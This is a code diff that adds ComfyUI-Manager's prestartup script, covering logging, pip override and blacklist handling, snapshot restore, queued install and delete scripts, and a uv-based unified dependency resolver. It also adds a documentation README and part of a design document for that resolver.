+message_collapses = [skip_pip_spam]
+import_failed_extensions = set()
+cm_global.variables['cm.on_revision_detected_handler'] = []
+enable_file_logging = True
+
+
+def register_message_collapse(f):
+    global message_collapses
+    message_collapses.append(f)
+
+
+def is_import_failed_extension(name):
+    global import_failed_extensions
+    return name in import_failed_extensions
+
+
+comfy_path = os.environ.get('COMFYUI_PATH')
+comfy_base_path = os.environ.get('COMFYUI_FOLDERS_BASE_PATH')
+
+if comfy_path is None:
+    comfy_path = os.path.abspath(os.path.dirname(sys.modules['__main__'].__file__))
+    os.environ['COMFYUI_PATH'] = comfy_path
+
+if comfy_base_path is None:
+    comfy_base_path = comfy_path
+
+
+sys.__comfyui_manager_register_message_collapse = register_message_collapse
+sys.__comfyui_manager_is_import_failed_extension = is_import_failed_extension
+cm_global.register_api('cm.register_message_collapse', register_message_collapse)
+cm_global.register_api('cm.is_import_failed_extension', is_import_failed_extension)
+
+
+comfyui_manager_path = os.path.abspath(os.path.dirname(__file__))
+
+custom_nodes_base_path = folder_paths.get_folder_paths('custom_nodes')[0]
+manager_files_path = folder_paths.get_system_user_directory("manager")
+manager_pip_overrides_path = os.path.join(manager_files_path, "pip_overrides.json")
+manager_pip_blacklist_path = os.path.join(manager_files_path, "pip_blacklist.list")
+restore_snapshot_path = os.path.join(manager_files_path, "startup-scripts", "restore-snapshot.json")
+manager_config_path = os.path.join(manager_files_path, 'config.ini')
+
+default_conf = {}
+
+def read_config():
+    global default_conf
+    try:
+        import configparser
+        config = configparser.ConfigParser(strict=False)
+        config.read(manager_config_path)
+        default_conf = config['default']
+    except Exception:
+        pass
+
+def read_uv_mode():
+    if 'use_uv' in default_conf:
+        manager_util.use_uv = default_conf['use_uv'].lower() == 'true'
+
+
+def read_unified_resolver_mode():
+    if 'use_unified_resolver' in default_conf:
+        manager_util.use_unified_resolver = default_conf['use_unified_resolver'].lower() == 'true'
+
+def check_file_logging():
+    global enable_file_logging
+    if 'file_logging' in default_conf and default_conf['file_logging'].lower() == 'false':
+        enable_file_logging = False
+
+
+read_config()
+read_uv_mode()
+read_unified_resolver_mode()
+security_check.security_check()
+check_file_logging()
+
+# Module-level flag set by startup batch resolver when it succeeds.
+# Used by execute_lazy_install_script() to skip per-node pip installs.
+_unified_resolver_succeeded = False
+
+cm_global.pip_overrides = {}
+
+if os.path.exists(manager_pip_overrides_path):
+    with open(manager_pip_overrides_path, 'r', encoding="UTF-8", errors="ignore") as json_file:
+        cm_global.pip_overrides = json.load(json_file)
+
+
+if os.path.exists(manager_pip_blacklist_path):
+    with open(manager_pip_blacklist_path, 'r', encoding="UTF-8", errors="ignore") as f:
+        for x in f.readlines():
+            y = x.strip()
+            if y != '':
+                cm_global.pip_blacklist.add(y)
+
+
+def remap_pip_package(pkg):
+    if pkg in cm_global.pip_overrides:
+        res = cm_global.pip_overrides[pkg]
+        print(f"[ComfyUI-Manager] '{pkg}' is remapped to '{res}'")
+        return res
+    else:
+        return pkg
+
+
+std_log_lock = threading.Lock()
+
+
+def handle_stream(stream, prefix):
+    stream.reconfigure(encoding=locale.getpreferredencoding(), errors='replace')
+    for msg in stream:
+        if prefix == '[!]' and ('it/s]' in msg or 's/it]' in msg) and ('%|' in msg or 'it [' in msg):
+            if msg.startswith('100%'):
+                print('\r' + msg, end="", file=sys.stderr),
+            else:
+                print('\r' + msg[:-1], end="", file=sys.stderr),
+        else:
+            if prefix == '[!]':
+                print(prefix, msg, end="", file=sys.stderr)
+            else:
+                print(prefix, msg, end="")
+
+
+def process_wrap(cmd_str, cwd_path, handler=None, env=None):
+    process = subprocess.Popen(cmd_str, cwd=cwd_path, env=env, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, bufsize=1)
+
+    if handler is None:
+        handler = handle_stream
+
+    stdout_thread = threading.Thread(target=handler, args=(process.stdout, ""))
+    stderr_thread = threading.Thread(target=handler, args=(process.stderr, "[!]"))
+
+    stdout_thread.start()
+    stderr_thread.start()
+
+    stdout_thread.join()
+    stderr_thread.join()
+
+    return process.wait()
+
+
+original_stdout = sys.stdout
+
+
+def try_get_custom_nodes(x):
+    for custom_nodes_dir in folder_paths.get_folder_paths('custom_nodes'):
+        if x.startswith(custom_nodes_dir):
+            relative_path = os.path.relpath(x, custom_nodes_dir)
+            next_segment = relative_path.split(os.sep)[0]
+            if next_segment.lower() != 'comfyui-manager':
+                return next_segment, os.path.join(custom_nodes_dir, next_segment)
+    return None
+
+
+def extract_origin_module():
+    stack = traceback.extract_stack()[:-2]
+    for frame in reversed(stack):
+        info = try_get_custom_nodes(frame.filename)
+        if info is None:
+            continue
+        else:
+            return info
+    return None
+
+def extract_origin_module_from_strings(file_paths):
+    for filepath in file_paths:
+        info = try_get_custom_nodes(filepath)
+        if info is None:
+            continue
+        else:
+            return info
+    return None
+
+
+def finalize_startup():
+    res = {}
+    for k, v in cm_global.error_dict.items():
+        if v['path'] in import_failed_extensions:
+            res[k] = v
+
+    cm_global.error_dict = res
+
+
+try:
+    if '--port' in sys.argv:
+        port_index = sys.argv.index('--port')
+        if port_index + 1 < len(sys.argv):
+            port = int(sys.argv[port_index + 1])
+            postfix = f"_{port}"
+        else:
+            postfix = ""
+    else:
+        postfix = ""
+
+    # Logger setup
+    log_path_base = None
+    if enable_file_logging:
+        log_path_base = os.path.join(folder_paths.user_directory, 'comfyui')
+
+        if not os.path.exists(folder_paths.user_directory):
+            os.makedirs(folder_paths.user_directory)
+
+        if os.path.exists(f"{log_path_base}{postfix}.log"):
+            if os.path.exists(f"{log_path_base}{postfix}.prev.log"):
+                if os.path.exists(f"{log_path_base}{postfix}.prev2.log"):
+                    os.remove(f"{log_path_base}{postfix}.prev2.log")
+                os.rename(f"{log_path_base}{postfix}.prev.log", f"{log_path_base}{postfix}.prev2.log")
+            os.rename(f"{log_path_base}{postfix}.log", f"{log_path_base}{postfix}.prev.log")
+
+        log_file = open(f"{log_path_base}{postfix}.log", "w", encoding="utf-8", errors="ignore")
+
+    log_lock = threading.Lock()
+
+    original_stdout = sys.stdout
+    original_stderr = sys.stderr
+
+    if original_stdout.encoding.lower() == 'utf-8':
+        write_stdout = original_stdout.write
+        write_stderr = original_stderr.write
+    else:
+        def wrapper_stdout(msg):
+            original_stdout.write(msg.encode('utf-8').decode(original_stdout.encoding, errors="ignore"))
+            
+        def wrapper_stderr(msg):
+            original_stderr.write(msg.encode('utf-8').decode(original_stderr.encoding, errors="ignore"))
+
+        write_stdout = wrapper_stdout
+        write_stderr = wrapper_stderr
+
+    pat_tqdm = r'\d+%.*\[(.*?)\]'
+    pat_import_fail = r'seconds \(IMPORT FAILED\):(.*)$'
+
+    is_start_mode = True
+
+
+    class ComfyUIManagerLogger:
+        def __init__(self, is_stdout):
+            self.is_stdout = is_stdout
+            self.encoding = "utf-8"
+            self.last_char = ''
+
+        def fileno(self):
+            try:
+                if self.is_stdout:
+                    return original_stdout.fileno()
+                else:
+                    return original_stderr.fileno()
+            except AttributeError:
+                # Handle error
+                raise ValueError("The object does not have a fileno method")
+
+        def isatty(self):
+            return False
+
+        def write(self, message):
+            global is_start_mode
+
+            if any(f(message) for f in message_collapses):
+                return
+
+            if is_start_mode:
+                match = re.search(pat_import_fail, message)
+                if match:
+                    import_failed_extensions.add(match.group(1).strip())
+
+                if not self.is_stdout:
+                    origin_info = extract_origin_module()
+                    if origin_info is not None:
+                        name, origin_path = origin_info
+                        
+                        if name != 'comfyui-manager':
+                            if name not in cm_global.error_dict:
+                                cm_global.error_dict[name] = {'name': name, 'path': origin_path, 'msg': ''}
+
+                            cm_global.error_dict[name]['msg'] += message
+
+            if not self.is_stdout:
+                match = re.search(pat_tqdm, message)
+                if match:
+                    message = re.sub(r'([#|])\d', r'\1▌', message)
+                    message = re.sub('#', '█', message)
+                    if '100%' in message:
+                        self.sync_write(message)
+                    else:
+                        write_stderr(message)
+                        original_stderr.flush()
+                else:
+                    self.sync_write(message)
+            else:
+                self.sync_write(message)
+
+        def sync_write(self, message, file_only=False):
+            with log_lock:
+                timestamp = current_timestamp()
+                if self.last_char != '\n':
+                    log_file.write(message)
+                else:
+                    log_file.write(f"[{timestamp}] {message}")
+
+                try:
+                    log_file.flush()
+                except Exception:
+                    pass
+
+                self.last_char = message if message == '' else message[-1]
+
+            if not file_only:
+                with std_log_lock:
+                    if self.is_stdout:
+                        write_stdout(message)
+                        original_stdout.flush()
+                    else:
+                        write_stderr(message)
+                        original_stderr.flush()
+
+        def flush(self):
+            try:
+                log_file.flush()
+            except Exception:
+                pass
+
+            with std_log_lock:
+                try:
+                    if self.is_stdout:
+                        original_stdout.flush()
+                    else:
+                        original_stderr.flush()
+                except (OSError, ValueError):
+                    pass
+
+        def close(self):
+            self.flush()
+
+        def reconfigure(self, *args, **kwargs):
+            pass
+
+        # You can close through sys.stderr.close_log()
+        def close_log(self):
+            sys.stderr = original_stderr
+            sys.stdout = original_stdout
+            log_file.close()
+            
+    def close_log():
+        sys.stderr = original_stderr
+        sys.stdout = original_stdout
+        log_file.close()
+
+
+    if enable_file_logging:
+        sys.stdout = ComfyUIManagerLogger(True)
+        stderr_wrapper = ComfyUIManagerLogger(False)
+        sys.stderr = stderr_wrapper
+
+        atexit.register(close_log)
+    else:
+        sys.stdout.close_log = lambda: None
+        stderr_wrapper = None
+
+
+    class LoggingHandler(logging.Handler):
+        def emit(self, record):
+            global is_start_mode
+
+            try:
+                message = record.getMessage()
+            except Exception as e:
+                message = f"<<logging error>>: {record} - {e}"
+                original_stderr.write(message)
+
+            if is_start_mode:
+                match = re.search(pat_import_fail, message)
+                if match:
+                    import_failed_extensions.add(match.group(1).strip())
+
+                if 'Traceback' in message:
+                    file_lists = self._extract_file_paths(message)
+                    origin_info = extract_origin_module_from_strings(file_lists)
+                    if origin_info is not None:
+                        name, origin_path = origin_info
+                        
+                        if name != 'comfyui-manager':
+                            if name not in cm_global.error_dict:
+                                cm_global.error_dict[name] = {'name': name, 'path': origin_path, 'msg': ''}
+
+                            cm_global.error_dict[name]['msg'] += message
+
+                if 'Starting server' in message:
+                    is_start_mode = False
+                    finalize_startup()
+
+            if stderr_wrapper:
+                stderr_wrapper.sync_write(message+'\n', file_only=True)
+
+        def _extract_file_paths(self, msg):
+            file_paths = []
+            for line in msg.split('\n'):
+                match = re.findall(r'File \"(.*?)\", line \d+', line)
+                for x in match:
+                    if not x.startswith('<'):
+                        file_paths.extend(match)
+            return file_paths
+
+
+    logging.getLogger().addHandler(LoggingHandler())
+
+
+except Exception as e:
+    print(f"[ComfyUI-Manager] Logging failed: {e}")
+
+
+print("** ComfyUI startup time:", current_timestamp())
+print("** Platform:", platform.system())
+print("** Python version:", sys.version)
+print("** Python executable:", sys.executable)
+print("** ComfyUI Path:", comfy_path)
+print("** ComfyUI Base Folder Path:", comfy_base_path)
+print("** User directory:", folder_paths.user_directory)
+print("** ComfyUI-Manager config path:", manager_config_path)
+
+
+if log_path_base is not None:
+    print("** Log path:", os.path.abspath(f'{log_path_base}.log'))
+else:
+    print("** Log path: file logging is disabled")
+
+
+def read_downgrade_blacklist():
+    try:
+        if 'downgrade_blacklist' in default_conf:
+            items = default_conf['downgrade_blacklist'].split(',')
+            items = [x.strip() for x in items if x != '']
+            cm_global.pip_downgrade_blacklist += items
+            cm_global.pip_downgrade_blacklist = list(set(cm_global.pip_downgrade_blacklist))
+    except Exception:
+        pass
+
+
+read_downgrade_blacklist()
+
+
+def check_bypass_ssl():
+    try:
+        import ssl
+        if 'bypass_ssl' in default_conf and default_conf['bypass_ssl'].lower() == 'true':
+            print(f"[ComfyUI-Manager] WARN: Unsafe - SSL verification bypass option is Enabled. (see {manager_config_path})")
+            ssl._create_default_https_context = ssl._create_unverified_context  # SSL certificate error fix.
+    except Exception:
+        pass
+
+check_bypass_ssl()
+
+
+# Perform install
+processed_install = set()
+script_list_path = os.path.join(manager_files_path, "startup-scripts", "install-scripts.txt")
+pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, manager_files_path)
+
+
+def is_installed(name):
+    name = name.strip()
+
+    if name.startswith('#'):
+        return True
+
+    pattern = r'([^<>!~=]+)([<>!~=]=?)([0-9.a-zA-Z]*)'
+    match = re.search(pattern, name)
+
+    if match:
+        name = match.group(1)
+
+    if name in cm_global.pip_blacklist:
+        return True
+
+    if name in cm_global.pip_downgrade_blacklist:
+        pips = manager_util.get_installed_packages()
+
+        if match is None:
+            if name in pips:
+                return True
+        elif match.group(2) in ['<=', '==', '<', '~=']:
+            if name in pips:
+                if manager_util.StrictVersion(pips[name]) >= manager_util.StrictVersion(match.group(3)):
+                    print(f"[ComfyUI-Manager] skip black listed pip installation: '{name}'")
+                    return True
+
+    pkg = manager_util.get_installed_packages().get(name.lower())
+    if pkg is None:
+        return False  # update if not installed
+
+    if match is None:
+        return True   # don't update if version is not specified
+
+    if match.group(2) in ['>', '>=']:
+        if manager_util.StrictVersion(pkg) < manager_util.StrictVersion(match.group(3)):
+            return False
+        elif manager_util.StrictVersion(pkg) > manager_util.StrictVersion(match.group(3)):
+            print(f"[SKIP] Downgrading pip package isn't allowed: {name.lower()} (cur={pkg})")
+
+    if match.group(2) == '==':
+        if manager_util.StrictVersion(pkg) < manager_util.StrictVersion(match.group(3)):
+            return False
+
+    if match.group(2) == '~=':
+        if manager_util.StrictVersion(pkg) == manager_util.StrictVersion(match.group(3)):
+            return False
+
+    return True       # prevent downgrade
+
+
+if os.path.exists(restore_snapshot_path):
+    try:
+        cloned_repos = []
+
+        def msg_capture(stream, prefix):
+            stream.reconfigure(encoding=locale.getpreferredencoding(), errors='replace')
+            for msg in stream:
+                if msg.startswith("CLONE: "):
+                    cloned_repos.append(msg[7:])
+                    if prefix == '[!]':
+                        print(prefix, msg, end="", file=sys.stderr)
+                    else:
+                        print(prefix, msg, end="")
+
+                elif prefix == '[!]' and ('it/s]' in msg or 's/it]' in msg) and ('%|' in msg or 'it [' in msg):
+                    if msg.startswith('100%'):
+                        print('\r' + msg, end="", file=sys.stderr),
+                    else:
+                        print('\r'+msg[:-1], end="", file=sys.stderr),
+                else:
+                    if prefix == '[!]':
+                        print(prefix, msg, end="", file=sys.stderr)
+                    else:
+                        print(prefix, msg, end="")
+
+        print("[ComfyUI-Manager] Restore snapshot.")
+        new_env = os.environ.copy()
+        if 'COMFYUI_FOLDERS_BASE_PATH' not in new_env:
+            new_env["COMFYUI_FOLDERS_BASE_PATH"] = comfy_path
+
+        if 'COMFYUI_PATH' not in new_env:
+            new_env['COMFYUI_PATH'] = os.path.dirname(folder_paths.__file__)
+
+        cmd_str = [sys.executable, '-m', 'cm_cli', 'restore-snapshot', restore_snapshot_path]
+        exit_code = process_wrap(cmd_str, custom_nodes_base_path, handler=msg_capture, env=new_env)
+
+        if exit_code != 0:
+            print("[ComfyUI-Manager] Restore snapshot failed.")
+        else:
+            print("[ComfyUI-Manager] Restore snapshot done.")
+
+    except Exception as e:
+        print(e)
+        print("[ComfyUI-Manager] Restore snapshot failed.")
+
+    os.remove(restore_snapshot_path)
+
+
+def execute_lazy_install_script(repo_path, executable):
+    global processed_install
+
+    install_script_path = os.path.join(repo_path, "install.py")
+    requirements_path = os.path.join(repo_path, "requirements.txt")
+
+    if os.path.exists(requirements_path) and not _unified_resolver_succeeded:
+        # Per-node pip install: only runs if unified resolver is disabled or failed
+        print(f"Install: pip packages for '{repo_path}'")
+
+        lines = manager_util.robust_readlines(requirements_path)
+        for line in lines:
+            package_name = remap_pip_package(line.strip())
+            package_name = package_name.split('#')[0].strip()
+            if package_name and not is_installed(package_name):
+                if '--index-url' in package_name:
+                    s = package_name.split('--index-url')
+                    install_cmd = manager_util.make_pip_cmd(["install", s[0].strip(), '--index-url', s[1].strip()])
+                else:
+                    install_cmd = manager_util.make_pip_cmd(["install", package_name])
+
+                process_wrap(install_cmd, repo_path)
+
+    if os.path.exists(install_script_path) and f'{repo_path}/install.py' not in processed_install:
+        processed_install.add(f'{repo_path}/install.py')
+        print(f"Install: install script for '{repo_path}'")
+        install_cmd = [executable, "install.py"]
+
+        new_env = os.environ.copy()
+        if 'COMFYUI_FOLDERS_BASE_PATH' not in new_env:
+            new_env["COMFYUI_FOLDERS_BASE_PATH"] = comfy_path
+        process_wrap(install_cmd, repo_path, env=new_env)
+
+
+def execute_lazy_cnr_switch(target, zip_url, from_path, to_path, no_deps, custom_nodes_path):
+    import uuid
+    import shutil
+
+    # 1. download
+    archive_name = f"CNR_temp_{str(uuid.uuid4())}.zip"  # should be unpredictable name - security precaution
+    download_path = os.path.join(custom_nodes_path, archive_name)
+    manager_downloader.download_url(zip_url, custom_nodes_path, archive_name)
+
+    # 2. extract files into <node_id>@<cur_ver>
+    extracted = manager_util.extract_package_as_zip(download_path, from_path)
+    os.remove(download_path)
+
+    if extracted is None:
+        if len(os.listdir(from_path)) == 0:
+            shutil.rmtree(from_path)
+
+        print(f'Empty archive file: {target}')
+        return False
+
+
+    # 3. calculate garbage files (.tracking - extracted)
+    tracking_info_file = os.path.join(from_path, '.tracking')
+    prev_files = set()
+    with open(tracking_info_file, 'r') as f:
+        for line in f:
+            prev_files.add(line.strip())
+    garbage = prev_files.difference(extracted)
+    garbage = [os.path.join(custom_nodes_path, x) for x in garbage]
+
+    # 4-1. remove garbage files
+    for x in garbage:
+        if os.path.isfile(x):
+            os.remove(x)
+
+    # 4-2. remove garbage dir if empty
+    for x in garbage:
+        if os.path.isdir(x):
+            if not os.listdir(x):
+                os.rmdir(x)
+
+    # 5. rename dir name <node_id>@<prev_ver> ==> <node_id>@<cur_ver>
+    print(f"'{from_path}' is moved to '{to_path}'")
+    shutil.move(from_path, to_path)
+
+    # 6. create .tracking file
+    tracking_info_file = os.path.join(to_path, '.tracking')
+    with open(tracking_info_file, "w", encoding='utf-8') as file:
+        file.write('\n'.join(list(extracted)))
+
+
+script_executed = False
+
+def execute_startup_script():
+    global script_executed
+    print("\n#######################################################################")
+    print("[ComfyUI-Manager] Starting dependency installation/(de)activation for the extension\n")
+
+    custom_nodelist_cache = None
+
+    def get_custom_node_paths():
+        nonlocal custom_nodelist_cache
+        if custom_nodelist_cache is None:
+            custom_nodelist_cache = set()
+            for base in folder_paths.get_folder_paths('custom_nodes'):
+                for x in os.listdir(base):
+                    fullpath = os.path.join(base, x)
+                    if os.path.isdir(fullpath):
+                        custom_nodelist_cache.add(fullpath)
+
+        return custom_nodelist_cache
+
+    def execute_lazy_delete(path):
+        # Validate to prevent arbitrary paths from being deleted
+        if path not in get_custom_node_paths():
+            logging.error(f"## ComfyUI-Manager: The scheduled '{path}' is not a custom node path, so the deletion has been canceled.")
+            return
+
+        if not os.path.exists(path):
+            logging.info(f"## ComfyUI-Manager: SKIP-DELETE => '{path}' (already deleted)")
+            return
+
+        try:
+            shutil.rmtree(path)
+            logging.info(f"## ComfyUI-Manager: DELETE => '{path}'")
+        except Exception as e:
+            logging.error(f"## ComfyUI-Manager: Failed to delete '{path}' ({e})")
+
+    executed = set()
+    # Read each line from the file and convert it to a list using eval
+    with open(script_list_path, 'r', encoding="UTF-8", errors="ignore") as file:
+        for line in file:
+            if line in executed:
+                continue
+
+            executed.add(line)
+
+            try:
+                script = ast.literal_eval(line)
+
+                if script[1].startswith('#') and script[1] != '#FORCE':
+                    if script[1] == "#LAZY-INSTALL-SCRIPT":
+                        execute_lazy_install_script(script[0], script[2])
+
+                    elif script[1] == "#LAZY-CNR-SWITCH-SCRIPT":
+                        execute_lazy_cnr_switch(script[0], script[2], script[3], script[4], script[5], script[6])
+                        execute_lazy_install_script(script[3], script[7])
+
+                    elif script[1] == "#LAZY-DELETE-NODEPACK":
+                        execute_lazy_delete(script[2])
+
+                elif os.path.exists(script[0]):
+                    if script[1] == "#FORCE":
+                        del script[1]
+                    else:
+                        if 'pip' in script[1:] and 'install' in script[1:] and is_installed(script[-1]):
+                            continue
+
+                    print(f"\n## ComfyUI-Manager: EXECUTE => {script[1:]}")
+                    print(f"\n## Execute management script for '{script[0]}'")
+
+                    new_env = os.environ.copy()
+                    if 'COMFYUI_FOLDERS_BASE_PATH' not in new_env:
+                        new_env["COMFYUI_FOLDERS_BASE_PATH"] = comfy_path
+                    exit_code = process_wrap(script[1:], script[0], env=new_env)
+
+                    if exit_code != 0:
+                        print(f"management script failed: {script[0]}")
+                else:
+                    print(f"\n## ComfyUI-Manager: CANCELED => {script[1:]}")
+
+            except Exception as e:
+                print(f"[ERROR] Failed to execute management script: {line} / {e}")
+
+    # Remove the script_list_path file
+    if os.path.exists(script_list_path):
+        script_executed = True
+        os.remove(script_list_path)
+        
+    print("\n[ComfyUI-Manager] Startup script completed.")
+    print("#######################################################################\n")
+
+
+# --- Unified dependency resolver: batch resolution at startup ---
+# Runs unconditionally when enabled, independent of install-scripts.txt existence.
+if manager_util.use_unified_resolver:
+    try:
+        from .common.unified_dep_resolver import (
+            UnifiedDepResolver,
+            UvNotAvailableError,
+            collect_base_requirements,
+            collect_node_pack_paths,
+        )
+
+        _resolver = UnifiedDepResolver(
+            node_pack_paths=collect_node_pack_paths(folder_paths.get_folder_paths('custom_nodes')),
+            base_requirements=collect_base_requirements(comfy_path),
+            blacklist=set(),
+            overrides={},
+            downgrade_blacklist=[],
+        )
+        _result = _resolver.resolve_and_install()
+        if _result.success:
+            _unified_resolver_succeeded = True
+            logging.info("[UnifiedDepResolver] startup batch resolution succeeded")
+        else:
+            manager_util.use_unified_resolver = False
+            logging.warning("[UnifiedDepResolver] startup batch failed: %s, falling back to per-node pip", _result.error)
+    except UvNotAvailableError:
+        manager_util.use_unified_resolver = False
+        logging.warning("[UnifiedDepResolver] uv not available at startup, falling back to per-node pip")
+    except Exception as e:
+        manager_util.use_unified_resolver = False
+        logging.warning("[UnifiedDepResolver] startup error: %s, falling back to per-node pip", e)
+
+# Check if script_list_path exists
+if os.path.exists(script_list_path):
+    execute_startup_script()
+
+
+pip_fixer.fix_broken()
+
+del processed_install
+del pip_fixer
+manager_util.clear_pip_cache()
+
+if script_executed:
+    # Restart
+    print("[ComfyUI-Manager] Restarting to reapply dependency installation.")
+
+    if '__COMFY_CLI_SESSION__' in os.environ:
+        with open(os.path.join(os.environ['__COMFY_CLI_SESSION__'] + '.reboot'), 'w'):
+            pass
+
+        print("--------------------------------------------------------------------------\n")
+        exit(0)
+    else:
+        sys_argv = sys.argv.copy()
+
+        if sys_argv[0].endswith("__main__.py"):  # this is a python module
+            module_name = os.path.basename(os.path.dirname(sys_argv[0]))
+            cmds = [sys.executable, '-m', module_name] + sys_argv[1:]
+        elif sys.platform.startswith('win32'):
+            cmds = ['"' + sys.executable + '"', '"' + sys_argv[0] + '"'] + sys_argv[1:]
+        else:
+            cmds = [sys.executable] + sys_argv
+
+        print(f"Command: {cmds}", flush=True)
+        print("--------------------------------------------------------------------------\n")
+
+        os.execv(sys.executable, cmds)
+
+
+def check_windows_event_loop_policy():
+    try:
+        import configparser
+        config = configparser.ConfigParser(strict=False)
+        config.read(manager_config_path)
+        default_conf = config['default']
+
+        if 'windows_selector_event_loop_policy' in default_conf and default_conf['windows_selector_event_loop_policy'].lower() == 'true':
+            try:
+                import asyncio
+                import asyncio.windows_events
+                asyncio.set_event_loop_policy(asyncio.windows_events.WindowsSelectorEventLoopPolicy())
+                print("[ComfyUI-Manager] Windows event loop policy mode enabled")
+            except Exception as e:
+                print(f"[ComfyUI-Manager] WARN: Windows initialization fail: {e}")
+    except Exception:
+        pass
+
+
+if platform.system() == 'Windows':
+    check_windows_event_loop_policy()

docs/README.md

@@ -0,0 +1,41 @@
+# ComfyUI-Manager: Documentation
+
+This directory contains documentation for the ComfyUI-Manager, providing guides and tutorials for users in multiple languages.
+
+## Directory Structure
+
+The documentation is organized into language-specific directories:
+
+- **en/**: English documentation
+- **ko/**: Korean documentation
+
+## Core Documentation Files
+
+### Command-Line Interface
+
+- **cm-cli.md**: Documentation for the ComfyUI-Manager Command Line Interface (CLI), which allows using manager functionality without the UI.
+
+### Advanced Features
+
+- **use_aria2.md**: Guide for using the aria2 download accelerator with ComfyUI-Manager for faster model downloads.
+
+## Documentation Standards
+
+The documentation follows these standards:
+
+1. **Markdown Format**: All documentation is written in Markdown for easy rendering on GitHub and other platforms
+2. **Language-specific Directories**: Content is separated by language to facilitate localization
+3. **Feature-focused Documentation**: Each major feature has its own documentation file
+4. **Updated with Releases**: Documentation is kept in sync with software releases
+
+## Contributing to Documentation
+
+When contributing new documentation:
+
+1. Place files in the appropriate language directory
+2. Use clear, concise language appropriate for the target audience
+3. Include examples where helpful
+4. Consider adding screenshots or diagrams for complex features
+5. Maintain consistent formatting with existing documentation
+
+This documentation directory will continue to grow to support the expanding feature set of ComfyUI-Manager.

docs/dev/DESIGN-unified-dependency-resolver.md

@@ -0,0 +1,812 @@
+# Architecture Design: Unified Dependency Resolver
+
+## 1. System Architecture
+
+### 1.1 Module Location
+
+```
+comfyui_manager/
+├── glob/
+│   └── manager_core.py              # Existing: execute_install_script() call sites (2 locations)
+├── common/
+│   ├── manager_util.py              # Existing: get_pip_cmd(), PIPFixer, use_uv flag
+│   ├── cm_global.py                 # Existing: pip_overrides, pip_blacklist (runtime dynamic assignment)
+│   └── unified_dep_resolver.py      # New: Unified dependency resolution module
+├── prestartup_script.py             # Existing: config reading, remap_pip_package, cm_global initialization
+└── legacy/
+    └── manager_core.py              # Legacy (not a modification target)
+cm_cli/
+└── __main__.py                      # CLI entry: uv-compile command (on-demand batch resolution)
+```
+
+The new module `unified_dep_resolver.py` is added to the `comfyui_manager/common/` directory.
+It reuses `manager_util` utilities and `cm_global` global state from the same package.
+
+> **Warning**: `cm_global.pip_overrides`, `pip_blacklist`, `pip_downgrade_blacklist` are
+> NOT defined in `cm_global.py`. They are **dynamically assigned** during `prestartup_script.py` execution.
+> In v1 unified mode, these are **not applied** — empty values are passed to the resolver constructor.
+> The constructor interface accepts them for future extensibility (defaults to empty when `None`).
+>
+> **[DEFERRED]** Reading actual `cm_global` values at startup is deferred to a future version.
+> The startup batch resolver in `prestartup_script.py` currently passes `blacklist=set()`,
+> `overrides={}`, `downgrade_blacklist=[]`. The constructor and internal methods
+> (`_remap_package`, `_is_downgrade_blacklisted`, blacklist check) are fully implemented
+> and will work once real values are provided.
+
+### 1.2 Overall Flow
+
+```mermaid
+flowchart TD
+    subgraph INSTALL_TIME["Install Time (immediate)"]
+        MC["manager_core.py<br/>execute_install_script() — 2 locations"]
+        MC -->|"use_unified_resolver=True"| SKIP["Skip per-node pip install<br/>(deps deferred to restart)"]
+        MC -->|"use_unified_resolver=False"| PIP["Existing pip install loop"]
+        SKIP --> INST["Run install.py"]
+        PIP --> INST
+    end
+
+    subgraph STARTUP["ComfyUI Restart (prestartup_script.py)"]
+        CHK{use_unified_resolver?}
+        CHK -->|Yes| UDR
+        CHK -->|No| LAZY["execute_lazy_install_script()<br/>per-node pip install (existing)"]
+
+        subgraph UDR["UnifiedDepResolver (batch)"]
+            S1["1. collect_requirements()<br/>(ALL installed node packs)"]
+            S2["2. compile_lockfile()"]
+            S3["3. install_from_lockfile()"]
+            S1 --> S2 --> S3
+        end
+
+        UDR -->|Success| FIX["PIPFixer.fix_broken()"]
+        UDR -->|Failure| LAZY
+        LAZY --> FIX2["PIPFixer.fix_broken()"]
+    end
+```
+
+> **Key design change**: The unified resolver runs at **startup time** (module scope), not at install time.
+> At install time, `execute_install_script()` skips the pip loop when unified mode is active.
+> At startup, `prestartup_script.py` runs the resolver at module scope — unconditionally when enabled,
+> independent of `install-scripts.txt` existence. Blacklist/overrides/downgrade_blacklist are bypassed
+> (empty values passed); `uv pip compile` handles all conflict resolution natively.
+>
+> **Note**: `execute_install_script()` exists in 2 locations in the codebase (excluding legacy module).
+> - `UnifiedManager.execute_install_script()` (class method): Used for CNR installs, etc.
+> - Standalone function `execute_install_script()`: Used for updates, git installs, etc.
+> Both skip per-node pip install when unified mode is active.
+
+### 1.3 uv Command Strategy
+
+**`uv pip compile`** → Generates pinned requirements.txt (pip-compatible)
+- Do not confuse with `uv lock`
+- `uv lock` generates `uv.lock` (TOML) — cross-platform but incompatible with pip workflows
+- This design uses a pip-compatible workflow (`uv pip compile` → `uv pip install -r`)
+
+**`uv pip install -r`** ← Used instead of `uv pip sync`
+- `uv pip sync`: **Deletes** packages not in lockfile → Risk of removing torch, ComfyUI deps
+- `uv pip install -r`: Only performs additive installs, preserves existing packages → Safe
+
+---
+
+## 2. Class Design
+
+### 2.1 UnifiedDepResolver
+
+```python
+class UnifiedDepResolver:
+    """
+    Unified dependency resolver.
+
+    Resolves and installs all dependencies of (installed node packs + new node packs)
+    at once using uv.
+
+    Responsibility scope: Dependency resolution and installation only.
+    install.py execution and PIPFixer calls are handled by the caller (manager_core).
+    """
+
+    def __init__(
+        self,
+        node_pack_paths: list[str],
+        base_requirements: list[str] | None = None,
+        blacklist: set[str] | None = None,
+        overrides: dict[str, str] | None = None,
+        downgrade_blacklist: list[str] | None = None,
+    ):
+        """
+        Args:
+            node_pack_paths: List of node pack directory paths
+            base_requirements: Base dependencies (ComfyUI requirements, etc.)
+            blacklist: Blacklisted package set (default: empty set; not applied in v1 unified mode)
+            overrides: Package name remapping dict (default: empty dict; not applied in v1 unified mode)
+            downgrade_blacklist: Downgrade-prohibited package list (default: empty list; not applied in v1 unified mode)
+        """
+
+    def resolve_and_install(self) -> ResolveResult:
+        """Execute full pipeline: stale cleanup → collect → compile → install.
+        Calls cleanup_stale_tmp() at start to clean up residual files from previous abnormal terminations."""
+
+    def collect_requirements(self) -> CollectedDeps:
+        """Collect dependencies from all node packs"""
+
+    def compile_lockfile(self, deps: CollectedDeps) -> LockfileResult:
+        """Generate pinned requirements via uv pip compile"""
+
+    def install_from_lockfile(self, lockfile_path: str) -> InstallResult:
+        """Install from pinned requirements (uv pip install -r)"""
+```
